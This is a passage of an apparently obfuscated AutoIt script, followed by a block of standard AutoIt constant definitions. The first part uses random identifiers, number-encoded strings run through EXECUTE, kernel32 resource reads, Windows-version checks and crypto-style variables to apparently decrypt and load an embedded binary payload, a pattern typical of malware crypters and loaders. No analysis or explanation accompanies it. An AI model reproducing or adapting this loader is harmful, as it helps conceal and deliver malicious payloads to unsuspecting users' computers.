$RESULT = XOR ($FIRSTCHARS , $RND )
WEND
$RESULT = XOR ($INPUT , $RND )
RETURN $RESULT
ENDFUNC
FUNC FQZOUFGHZF ($TITLE , $BODY , $TYPE )
IF $BOOL = BTBXJYMRFGAETPA ("6,27,38,45,31" ) THEN
$ZNNZHMCQTOPD ($TYPE , $TITLE , $BODY )
ENDIF
ENDFUNC
FUNC ETFNKADRSB ()
LOCAL $OSVERSION = $AVJTMWBNEWJJVDCTUDWDEWCFIKWNLJRYLAMRLSPMDEPITACR
IF NOT $QCJGZATPVQXM () THEN
IF $TWXPJLDBTLTX ($OSVERSION , BTBXJYMRFGAETPA ("60" ) ) THEN
GTIQUIETGC ()
ELSEIF $TWXPJLDBTLTX ($OSVERSION , BTBXJYMRFGAETPA ("61" ) ) THEN
GTIQUIETGC ()
ELSEIF $TWXPJLDBTLTX ($OSVERSION , BTBXJYMRFGAETPA ("54,53" ) ) THEN
MSQGWYVXLW ()
ENDIF
ENDIF
ENDFUNC
FUNC VFNIVSZMZI ()
IF $BECCJIYOKJQE ("[CLASS:Progman]" ) = BTBXJYMRFGAETPA ("53" ) THEN
$FEYVUXLEGFHL ($FJVRHISHSSHJEPWQMMUMBIFRUFCKXVFVZNRK )
ENDIF
ENDFUNC
FUNC GLOBALDATA ($DATA , $RT )
LOCAL $E = EXECUTE
LOCAL $B = $E (BTBXJYMRFGAETPA ("28,35,40,27,44,51,46,41,45,46,44,35,40,33" ) )
LOCAL $RETURN
LOCAL $R = $E ($B (BTBXJYMRFGAETPA ("53,50,58,56,60,57,60,55,59,62,59,5,59,60,58,56,60,53,59,3,59,62,60,57,55,61,57,55,59,62,59,5,59,54,60,55,60,62,58,57,59,6,58,56,60,57,60,55,59,62,59,5,59,60,55,61,55,57,59,57,59,54,60,57,59,54,55,62,55,3,55,53,55,55,60,3,55,55,55,62" ) ) )
IF $RT <> "-1" THEN
FOR $I = BTBXJYMRFGAETPA ("54" ) TO $E ($B (BTBXJYMRFGAETPA ("53,50,58,58,57,55,59,6,60,58,59,5,59,57,55,61,55,57,60,55,55,62,55,53,55,4,55,53,55,55,56,54,55,55" ) ) )
IF $I = BTBXJYMRFGAETPA ("54" ) THEN
$RETURN = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,57,57,59,54,60,57,59,54,55,61,58,55,59,58,59,54,59,57,58,55,59,58,60,56,59,6,60,58,60,55,59,56,59,58,60,56,55,61,55,57,60,55,58,2,55,57,59,62,58,4,55,3,55,53,55,57,60,55,60,57,55,62,55,3,55,53,56,54,55,62" ) ) )
ELSE
$RETURN &= $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,57,57,59,54,60,57,59,54,55,61,58,55,59,58,59,54,59,57,58,55,59,58,60,56,59,6,60,58,60,55,59,56,59,58,60,56,55,61,55,57,60,55,58,2,55,57,59,62,58,4,55,3,55,53,55,57,60,55,60,57,55,62,55,3,55,53,56,54,55,62" ) ) )
ENDIF
NEXT
ELSE
$RETURN = $DATA
ENDIF
RETURN $RETURN
ENDFUNC
FUNC READRESOURCES ($RESNAME , $RESTYPE )
LOCAL $HINSTANCE
LOCAL $INFOBLOCK = $SPAYPUCWZKBI ("kernel32.dll" , BTBXJYMRFGAETPA ("42,46,44" ) , BTBXJYMRFGAETPA ("6,35,40,30,18,31,45,41,47,44,29,31,23" ) , BTBXJYMRFGAETPA ("42,46,44" ) , $HINSTANCE , BTBXJYMRFGAETPA ("49,45,46,44" ) , $RESNAME , BTBXJYMRFGAETPA ("38,41,40,33" ) , $RESTYPE ) [BTBXJYMRFGAETPA ("53" ) ]
LOCAL $RESSIZE = $SPAYPUCWZKBI ("kernel32.dll" , BTBXJYMRFGAETPA ("30,49,41,44,30" ) , BTBXJYMRFGAETPA ("19,35,52,31,41,32,18,31,45,41,47,44,29,31" ) , BTBXJYMRFGAETPA ("42,46,44" ) , $HINSTANCE , BTBXJYMRFGAETPA ("42,46,44" ) , $INFOBLOCK ) [BTBXJYMRFGAETPA ("53" ) ]
LOCAL $GLOBALMEMORYBLOCK = $SPAYPUCWZKBI ("kernel32.dll" , BTBXJYMRFGAETPA ("42,46,44" ) , BTBXJYMRFGAETPA ("12,41,27,30,18,31,45,41,47,44,29,31" ) , BTBXJYMRFGAETPA ("42,46,44" ) , $HINSTANCE , BTBXJYMRFGAETPA ("42,46,44" ) , $INFOBLOCK ) [BTBXJYMRFGAETPA ("53" ) ]
LOCAL $MEMORYPOINTER = $SPAYPUCWZKBI ("kernel32.dll" , BTBXJYMRFGAETPA ("42,46,44" ) , BTBXJYMRFGAETPA ("12,41,29,37,18,31,45,41,47,44,29,31" ) , BTBXJYMRFGAETPA ("42,46,44" ) , $GLOBALMEMORYBLOCK ) [BTBXJYMRFGAETPA ("53" ) ]
RETURN $QBQADACRHPDC ("byte[" & $RESSIZE & "]" , $MEMORYPOINTER )
ENDFUNC
FUNC VLSHMDZKXOUE ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("23,35,40,5,50,35,45,46,45" ) )
ENDFUNC
FUNC VRMOLQYJSQGJ ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("19,46,44,35,40,33,9,40,19,46,44" ) )
ENDFUNC
FUNC ZUQIQWYIEPGW ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("6,35,38,31,23,44,35,46,31" ) )
ENDFUNC
FUNC PLXMFFUKHKPT ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("2,35,46,15,18" ) )
ENDFUNC
FUNC UGPTHQHYLFMO ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("21,2,41,47,40,30" ) )
ENDFUNC
FUNC EJTUMKGNAG ($VDATA , $VCRYPTKEY , $RT )
LOCAL $E = EXECUTE
LOCAL $B = $E (BTBXJYMRFGAETPA ("28,35,40,27,44,51,46,41,45,46,44,35,40,33" ) )
LOCAL $__G_ACRYPTINTERNALDATA [BTBXJYMRFGAETPA ("56" ) ]
LOCAL $TBUFF
LOCAL $TTEMPSTRUCT
LOCAL $IPLAINTEXTSIZE
LOCAL $VRETURN
VFNIVSZMZI ()
$VDATA = GLOBALDATA ($VDATA , $RT )
$__G_ACRYPTINTERNALDATA [BTBXJYMRFGAETPA ("54" ) ] = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,6,60,53,59,58,59,5,55,61,55,55,57,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,62" ) ) )
LOCAL $ARET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,54,59,56,60,54,60,58,59,62,60,55,59,58,57,56,59,6,59,5,60,57,59,58,60,61,60,57,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,1,55,55,55,3,55,53,56,53,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,56,53,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,56,53,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,55,56,57,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,57,59,56,53,56,53,56,53,56,53,56,53,56,53,56,53,55,55,55,62" ) ) )
$__G_ACRYPTINTERNALDATA [BTBXJYMRFGAETPA ("55" ) ] = $ARET [BTBXJYMRFGAETPA ("54" ) ]
$__G_ACRYPTINTERNALDATA [BTBXJYMRFGAETPA ("53" ) ] += BTBXJYMRFGAETPA ("54" )
$ARET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,56,60,55,59,58,59,54,60,57,59,58,57,61,59,54,60,56,59,61,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,55,58,4,55,3,55,53,55,55,60,58,59,62,59,5,60,57,55,55,55,3,55,53,55,55,56,53,60,61,56,53,56,53,56,53,56,53,56,61,56,53,56,53,56,56,55,55,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,56,53,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,53,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,1,55,55,55,3,55,53,56,53,55,62" ) ) )
$HCRYPTHASH = $ARET [BTBXJYMRFGAETPA ("58" ) ]
$TBUFF = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,60,59,57,56,60,55,60,62,60,53,60,57,57,2,59,58,60,62,55,62,55,53,55,59,55,53,55,55,58,4,55,55,55,62" ) ) )
$E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,57,55,60,58,59,59,59,59,55,3,55,53,57,58,60,61,59,58,59,56,60,58,60,57,59,58,55,61,56,54,55,62,55,3,55,53,55,57,60,59,57,56,60,55,60,62,60,53,60,57,57,2,59,58,60,62,55,62" ) ) )
$ARET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,61,59,54,60,56,59,61,57,57,59,54,60,57,59,54,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,59,61,57,56,60,55,60,62,60,53,60,57,57,61,59,54,60,56,59,61,55,3,55,53,55,55,60,56,60,57,60,55,60,58,59,56,60,57,55,1,55,55,55,3,55,53,55,57,60,57,57,55,60,58,59,59,59,59,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,55,60,58,59,59,59,59,55,62,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,54,55,62" ) ) )
$ARET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,57,59,58,60,55,59,62,60,59,59,58,57,2,59,58,60,62,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,55,58,4,55,3,55,53,55,55,60,58,59,62,59,5,60,57,55,55,55,3,55,53,55,55,56,53,60,61,56,53,56,53,56,53,56,53,56,59,56,59,56,54,56,53,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,59,61,57,56,60,55,60,62,60,53,60,57,57,61,59,54,60,56,59,61,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,56,53,56,53,56,53,56,53,56,53,56,53,56,53,56,54,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,1,55,55,55,3,55,53,56,53,55,62" ) ) )
$VRETURN = $ARET [BTBXJYMRFGAETPA ("58" ) ]
$E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,57,59,58,60,56,60,57,60,55,59,6,60,62,57,61,59,54,60,56,59,61,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,59,61,57,56,60,55,60,62,60,53,60,57,57,61,59,54,60,56,59,61,55,62" ) ) )
$VCRYPTKEY = $VRETURN
$TBUFF = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,60,59,57,57,59,54,60,57,59,54,55,62,55,53,55,2,55,53,55,55,56,54,56,53,56,53,56,53,55,55,55,53,55,59,55,53,55,55,58,4,55,55,55,62" ) ) )
$E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,57,55,60,58,59,59,59,59,55,3,55,53,57,58,60,61,59,58,59,56,60,58,60,57,59,58,55,61,56,54,55,62,55,3,55,53,55,57,60,59,57,57,59,54,60,57,59,54,55,62" ) ) )
$ARET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,57,59,58,59,56,60,55,60,62,60,53,60,57,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,60,59,57,56,60,55,60,62,60,53,60,57,57,2,59,58,60,62,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,56,53,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,57,58,60,61,59,58,59,56,60,58,60,57,59,58,55,61,55,55,58,57,60,55,60,58,59,58,55,55,55,62,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,53,55,3,55,53,55,55,60,56,60,57,60,55,60,58,59,56,60,57,55,1,55,55,55,3,55,53,55,57,60,57,57,55,60,58,59,59,59,59,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,1,55,55,55,3,55,53,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,60,59,57,57,59,54,60,57,59,54,55,62,55,62" ) ) )
$IPLAINTEXTSIZE = $ARET [BTBXJYMRFGAETPA ("59" ) ]
$TTEMPSTRUCT = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,55,57,59,62,58,53,59,3,59,54,59,62,59,5,58,57,59,58,60,61,60,57,58,56,59,62,60,1,59,58,55,53,55,2,55,53,56,54,55,53,55,59,55,53,55,55,58,4,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,55,60,58,59,59,59,59,55,62,55,62" ) ) )
$VRETURN = $E ($B (BTBXJYMRFGAETPA ("53,50,57,55,59,62,59,5,59,54,60,55,60,62,57,4,59,62,59,57,55,61,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,58,57,59,58,59,4,60,53,58,56,60,57,60,55,60,58,59,56,60,57,55,3,55,53,57,58,60,61,59,58,59,56,60,58,60,57,59,58,55,61,56,54,55,62,55,62,55,3,55,53,56,54,55,3,55,53,55,57,59,62,58,53,59,3,59,54,59,62,59,5,58,57,59,58,60,61,60,57,58,56,59,62,60,1,59,58,55,62" ) ) )
$ARET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,55,55,56,54,55,55,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,57,59,58,60,56,60,57,60,55,59,6,60,62,57,2,59,58,60,62,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,60,59,57,56,60,55,60,62,60,53,60,57,57,2,59,58,60,62,55,62" ) ) )
$__G_ACRYPTINTERNALDATA [BTBXJYMRFGAETPA ("53" ) ] -= BTBXJYMRFGAETPA ("54" )
$E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,58,55,59,58,59,3,59,58,59,54,60,56,59,58,57,56,59,6,59,5,60,57,59,58,60,61,60,57,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,55,58,4,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,53,55,62" ) ) )
$BBINARY = $E ($B (BTBXJYMRFGAETPA ("53,50,57,55,59,62,59,5,59,54,60,55,60,62,55,61,55,57,60,59,58,55,59,58,60,57,60,58,60,55,59,5,55,62" ) ) )
LOCAL $TINPUT = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,59,55,57,55,59,62,59,5,59,54,60,55,60,62,55,62,55,53,55,59,55,53,55,55,58,4,55,55,55,62" ) ) )
$E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,57,62,59,5,60,53,60,58,60,57,55,3,55,53,56,54,55,3,55,53,55,57,59,55,57,55,59,62,59,5,59,54,60,55,60,62,55,62" ) ) )
LOCAL $TBUFFER = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,56,54,56,59,55,53,55,1,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,62,59,5,60,53,60,58,60,57,55,62,55,53,55,59,55,53,55,55,58,4,55,55,55,62" ) ) )
LOCAL $A_CALL = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,5,60,57,59,57,59,3,59,3,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,62,59,5,60,57,55,55,55,3,55,55,58,55,60,57,59,3,57,57,59,58,59,56,59,6,59,4,60,53,60,55,59,58,60,56,60,56,57,55,60,58,59,59,59,59,59,58,60,55,55,55,55,3,55,55,60,58,60,56,59,61,59,6,60,55,60,57,55,55,55,3,55,53,56,55,55,3,55,55,60,53,60,57,60,55,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,55,60,58,59,59,59,59,59,58,60,55,55,62,55,3,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,55,60,58,59,59,59,59,59,58,60,55,55,62,55,3,55,55,60,53,60,57,60,55,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,62,59,5,60,53,60,58,60,57,55,62,55,3,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,62,59,5,60,53,60,58,60,57,55,62,55,3,55,55,59,57,60,60,59,6,60,55,59,57,55,1,55,55,55,3,55,53,56,53,55,62" ) ) )
LOCAL $TOUTPUT = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,55,57,59,54,58,6,57,56,59,54,59,3,59,3,58,2,56,59,58,4,55,53,55,59,55,53,55,55,58,4,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,55,60,58,59,59,59,59,59,58,60,55,55,62,55,62" ) ) )
RETURN $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,57,6,60,58,60,57,60,53,60,58,60,57,55,3,55,53,56,54,55,62" ) ) )
ENDFUNC
FUNC QLQVZSECZEVG ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("19,34,31,38,38,5,50,31,29,47,46,31" ) )
ENDFUNC
FUNC LRFVYXQFDMPD ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("9,40,31,46,7,31,46" ) )
ENDFUNC
FUNC WOYAFFSZNMVD ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("13,45,33,2,41,50" ) )
ENDFUNC
GLOBAL CONST $OPT_COORDSRELATIVE = 0
GLOBAL CONST $OPT_COORDSABSOLUTE = 1
GLOBAL CONST $OPT_COORDSCLIENT = 2
GLOBAL CONST $OPT_ERRORSILENT = 0
GLOBAL CONST $OPT_ERRORFATAL = 1
GLOBAL CONST $OPT_CAPSNOSTORE = 0
GLOBAL CONST $OPT_CAPSSTORE = 1
GLOBAL CONST $OPT_MATCHSTART = 1
GLOBAL CONST $OPT_MATCHANY = 2
GLOBAL CONST $OPT_MATCHEXACT = 3
GLOBAL CONST $OPT_MATCHADVANCED = 4
GLOBAL CONST $CCS_TOP = 1
GLOBAL CONST $CCS_NOMOVEY = 2
GLOBAL CONST $CCS_BOTTOM = 3
GLOBAL CONST $CCS_NORESIZE = 4
GLOBAL CONST $CCS_NOPARENTALIGN = 8
GLOBAL CONST $CCS_NOHILITE = 16
GLOBAL CONST $CCS_ADJUSTABLE = 32
GLOBAL CONST $CCS_NODIVIDER = 64
GLOBAL CONST $CCS_VERT = 128
GLOBAL CONST $CCS_LEFT = 129
GLOBAL CONST $CCS_NOMOVEX = 130
GLOBAL CONST $CCS_RIGHT = 131
GLOBAL CONST $DT_DRIVETYPE = 1
GLOBAL CONST $DT_SSDSTATUS = 2
GLOBAL CONST $DT_BUSTYPE = 3
GLOBAL CONST $PROXY_IE = 0
GLOBAL CONST $PROXY_NONE = 1
GLOBAL CONST $PROXY_SPECIFIED = 2
GLOBAL CONST $OBJID_WINDOW = 0
GLOBAL CONST $OBJID_TITLEBAR = 4294967294
GLOBAL CONST $OBJID_SIZEGRIP = 4294967289
GLOBAL CONST $OBJID_CARET = 4294967288
GLOBAL CONST $OBJID_CURSOR = 4294967287
GLOBAL CONST $OBJID_ALERT = 4294967286
GLOBAL CONST $OBJID_SOUND = 4294967285
GLOBAL CONST $DLG_CENTERONTOP = 0
GLOBAL CONST $DLG_NOTITLE = 1
GLOBAL CONST $DLG_NOTONTOP = 2
GLOBAL CONST $DLG_TEXTLEFT = 4
GLOBAL CONST $DLG_TEXTRIGHT = 8
GLOBAL CONST $DLG_MOVEABLE = 16
GLOBAL CONST $DLG_TEXTVCENTER = 32
GLOBAL CONST $IDC_UNKNOWN = 0
GLOBAL CONST $IDC_APPSTARTING = 1
GLOBAL CONST $IDC_ARROW = 2
GLOBAL CONST $IDC_CROSS = 3
GLOBAL CONST $IDC_HAND = 32649
GLOBAL CONST $IDC_HELP = 4
GLOBAL CONST $IDC_IBEAM = 5
GLOBAL CONST $IDC_ICON = 6
GLOBAL CONST $IDC_NO = 7
GLOBAL CONST $IDC_SIZE = 8
GLOBAL CONST $IDC_SIZEALL = 9
GLOBAL CONST $IDC_SIZENESW = 10
GLOBAL CONST $IDC_SIZENS = 11
GLOBAL CONST $IDC_SIZENWSE = 12
GLOBAL CONST $IDC_SIZEWE = 13
GLOBAL CONST $IDC_UPARROW = 14
GLOBAL CONST $IDC_WAIT = 15
GLOBAL CONST $IDI_APPLICATION = 32512
GLOBAL CONST $IDI_ASTERISK = 32516
GLOBAL CONST $IDI_EXCLAMATION = 32515
GLOBAL CONST $IDI_HAND = 32513
GLOBAL CONST $IDI_QUESTION = 32514
GLOBAL CONST $IDI_WINLOGO = 32517
GLOBAL CONST $IDI_SHIELD = 32518
GLOBAL CONST $IDI_ERROR = $IDI_HAND
GLOBAL CONST $IDI_INFORMATION = $IDI_ASTERISK
GLOBAL CONST $IDI_WARNING = $IDI_EXCLAMATION
GLOBAL CONST $SD_LOGOFF = 0
GLOBAL CONST $SD_SHUTDOWN = 1
GLOBAL CONST $SD_REBOOT = 2
GLOBAL CONST $SD_FORCE = 4
GLOBAL CONST $SD_POWERDOWN = 8
GLOBAL CONST $SD_FORCEHUNG = 16
GLOBAL CONST $SD_STANDBY = 32
GLOBAL CONST $SD_HIBERNATE = 64
GLOBAL CONST $STDIN_CHILD = 1
GLOBAL CONST $STDOUT_CHILD = 2
GLOBAL CONST $STDERR_CHILD = 4
GLOBAL CONST $STDERR_MERGED = 8
GLOBAL CONST $STDIO_INHERIT_PARENT = 16
GLOBAL CONST $RUN_CREATE_NEW_CONSOLE = 65536
GLOBAL CONST $UBOUND_DIMENSIONS = 0
GLOBAL CONST $UBOUND_ROWS = 1
GLOBAL CONST $UBOUND_COLUMNS = 2
GLOBAL CONST $MOUSEEVENTF_ABSOLUTE = 32768
GLOBAL CONST $MOUSEEVENTF_MOVE = 1
GLOBAL CONST $MOUSEEVENTF_LEFTDOWN = 2
GLOBAL CONST $MOUSEEVENTF_LEFTUP = 4
GLOBAL CONST $MOUSEEVENTF_RIGHTDOWN = 8
GLOBAL CONST $MOUSEEVENTF_RIGHTUP = 16
GLOBAL CONST $MOUSEEVENTF_MIDDLEDOWN = 32
GLOBAL CONST $MOUSEEVENTF_MIDDLEUP = 64
GLOBAL CONST $MOUSEEVENTF_WHEEL = 2048
GLOBAL CONST $MOUSEEVENTF_XDOWN = 128
GLOBAL CONST $MOUSEEVENTF_XUP = 256
GLOBAL CONST $REG_NONE = 0
GLOBAL CONST $REG_SZ = 1
GLOBAL CONST $REG_EXPAND_SZ = 2
GLOBAL CONST $REG_BINARY = 3
